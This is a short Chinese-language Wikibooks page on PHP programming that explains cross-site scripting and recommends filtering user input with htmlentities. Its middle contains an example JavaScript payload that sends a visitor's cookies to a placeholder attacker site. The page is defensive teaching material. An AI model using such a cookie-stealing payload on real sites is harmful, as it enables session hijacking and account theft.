PHP 程式設計/跨站指令碼攻擊
外觀
< PHP 程式設計
跨站指令碼(或 XSS)是對指令碼傳送敏感資訊(例如 Cookie 或其他會話識別符號)到其他網站的基本描述。
通常,這些攻擊會影響內容可以被編輯或新增的網站。在大多數情況下,會話識別符號甚至使用者名稱/密碼都儲存在 Cookie 中。如果有人知道會話識別符號,他們可以在自己的機器上輕鬆地使用它來執行任何惡意任務,而這些任務會讓你不高興。
現在,如果您已登入 Wikibooks 或任何其他網站,請轉到該頁面並在位址列中鍵入以下內容
javascript:void(alert(document.cookie))
這些是每次傳送到網站以識別您的 Cookie。很容易,如果您的網站沒有防範 XSS - 攻擊者會編寫類似這樣的內容
javascript:void(document.location('http://killer.website.com/steal_cookie.php?cookie_data='+document.cookie))
這會將 Cookie 資訊傳送到他們的網站。
如果不刪除可能提交到其他網站的惡意 HTML/JavaScript 程式碼,就無法保護自己免受 XSS 攻擊。
到目前為止,最常見的方法是使用 htmlentities 或 htmlspecialchars 過濾程式碼,以便沒有人可以向您的網站新增任何 HTML(例如部落格評論)
$message = htmlentities($message);
另一種方法是總體上建立任何型別的“受保護模式”程式碼,例如 MediaWiki、BBCode 或其他為方便使用者內容的樣式/格式而發明的程式碼。